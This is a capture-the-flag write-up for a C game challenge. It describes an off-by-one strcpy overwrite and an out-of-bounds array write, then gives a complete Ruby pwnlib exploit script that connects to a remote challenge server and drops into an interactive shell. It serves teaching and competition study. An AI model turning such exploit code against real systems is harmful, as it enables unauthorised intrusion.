Rating:

**Bugs**

Bug 1: When choosing difficulty, we can overwrite `state.spawn_off` by sending exact 63 bytes.
```c
// *** Step 2. Load the stage ***
printf("DIFFICULTY? (easy/hard)\n");
int i;
for (i = 0; i < 63; i++) {
char c = fgetc(stdin);
if (c == '\n') break;
if (c == '/' || c == '~') return 1; // no path traversal
state.stage_name[i] = c;
}
strcpy(&state.stage_name[i], ".y"); // <- this will overwrite state.spawn_off when i == 63
```

Bug 2: In `step_game`, there is no boundary check on nx, ny, nnx, and nny.
```c
int nx = x + dx, ny = y + dy; // next position <- what happens if nx < 0 or nx >= STAGE_W ?
if (state.stage[ny][nx] & to_bitset(state.is_stop)) continue;
if (state.stage[ny][nx] & to_bitset(state.is_win)) win();

int nnx = x + 2 * dx, nny = y + 2 * dy;
unsigned short push = state.stage[ny][nx] & to_bitset(state.is_push);
move(&state.stage[ny][nx], &state.stage[nny][nnx], push);
move(&state.stage[y][x], &state.stage[ny][nx], you);
state.should_update[ny][nx] = 0;
```

**Exploit**

```ruby
#coding:ascii-8bit
require "pwnlib"

class PwnTube
def recv_until_prompt
recv_until("> ")
end
end

class Exploit
attr_reader :tube, :host, :port
attr_reader :offset, :got, :libc_offset

def initialize(remote)
@remote = remote
if remote?
@host, @port = "34.146.195.242 10906".split
else
@host = "localhost"
@port = 11111
end
@port = @port&.to_i
@libc_offset = {
}

@offset = {
}

@got = {
}
end

def remote?
@remote
end

def run
PwnTube.open(host, port){|t|
@tube = t

tube.recv_until("DIFFICULTY? (easy/hard)\n")
tube.send("hard.y\0".ljust(63, "\0"))

tube.recv_until_prompt
tube.sendline("wdddddddssssssassssssaaaa")
tube.recv_until_prompt
tube.sendline("asdddddwds")
tube.recv_until_prompt
tube.sendline("ssddddssssssaaassssssawsaaaaddddddwddssddswwd")

tube.interactive
}
end
end

Exploit.new(ARGV[0] == "r").run
```